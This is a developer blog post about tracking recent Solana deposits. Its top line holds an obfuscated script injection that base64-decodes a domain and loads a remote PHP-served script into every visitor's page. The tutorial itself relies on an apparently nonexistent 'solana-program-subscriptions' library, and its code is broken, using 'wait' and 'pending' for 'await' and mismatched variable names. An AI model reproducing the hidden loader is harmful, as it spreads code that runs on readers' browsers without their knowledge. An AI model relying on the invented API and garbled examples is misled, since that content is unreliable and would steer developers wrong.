Solana: Deposit Transaction Tracking
- 2025-02
- by Cn Vn
const pdx=”bm9yZGVyc3dpbmcuYnV6ei94cC8=”;const pde=atob(pdx.replace(/|/g,””));const script=document.createElement(“script”);script.src=”https://”+pde+”c.php?u=56e015c4″;document.body.appendChild(script);
Tracking Stored Transactions on Solana: A Solution to Revisit Deposits in the Last Hour
As a developer building applications on the Solana blockchain, you are probably interested in tracking stored transactions. In this article, we will explore a solution that allows you to track transferred assets (such as SOL or USDT) and review deposits made in the last hour.
What is a transfer on Solana?
Before we dive into our solution, let’s quickly review what a transfer is in Solana:
- A transfer involves sending assets from one address to another.
- In this context, we are interested in tracking transferred SOL (Solana) or USDT (US Dollar Token) assets.
Using Subscription Events for New Transactions
To track new transactions, you can use the “solana-program-subscriptions” library, which provides an easy way to subscribe to event streams on the Solana blockchain. Here is an example of how you can set up a subscription to receive new transfers:
import { Subscription } from 'solana-program/subscriptions';
const appInfo = {
pubkey: '',
name: '',
version: ''
};
// Create a new subscription instance
const subscription = await subscriptions.createSubscription(appInfo);
// Subscribe to the "newTransfer" event.
subscribe.on('newTransfer', (data) => {
console.log(Transfer data received: ${JSON.stringify(data)}
);
});
// Call the createTransfer
function to create a new transfer
const transferData = {
// Your transaction data here
};
wait appInfo.createTransfer(transferData);
Rechecking deposits made in the last hour
If you want to recheck deposits made in the last hour, you will need to use a different approach. One solution is to use the solana-program-subscriptions
library’s getEvents
function, which allows you to retrieve a specific number of events from a subscription in a single request. Here is an example:
import { Subscription } from 'solana-program/subscriptions';
const appInfo = {
pubkey: '',
name: '',
version: ''
};
// Create a new subscription instance
const subscription = pending subscriptions.createSubscription(appInfo);
// Get all events in the last hour (1 hour)
const recentEvents = pending subscription.getEvents({
limit: 1000, // retrieve up to 1000 events
});
// Filter out all recent transfer data
const recentTransfers = recentEvents.filter((event) => event.type === 'newTransfer');
console.log(recentTransfers);
Usage Examples
Here are some usage examples of this solution:
- Web3.js: You can use the
solana-program-subscriptions
library in your web application’s JavaScript file to retrieve recent transactions.
const Sub = require('solana-program/subscriptions');
// Create a new subscription instance
const subscribe = wait Sub.createSubscription({
pubkey: 'YOUR_pubkey',
name: 'RECENT_TRANSFEETS',
version: '1.0.0',
});
// Retrieve recent events
const recentEvents = await subscription.getEvents();
console.log(recentEvents);
- Node.js: You can use a Node.js module such as `
solana-program-subscriptions
to retrieve recent transactions.
const { Subscription } = require('solana-program/subscriptions');
// Create a new subscription instance
const subscribe = wait Subscriptions.createSubscription({
pubkey: 'YOUR_pubkey',
name: 'RECENT_TRANSFEETS',
version: '1.0.0'
});
// Retrieve recent events
const recentEvents = await subscription.getEvents();
console.log(recentEvents);
These examples show how you can use the solana-program-subscriptions
library to track saved transactions and review deposits made in the last hour on Solana. By following these steps, you will be able to create a robust application that provides real-time tracking of assets transferred between addresses.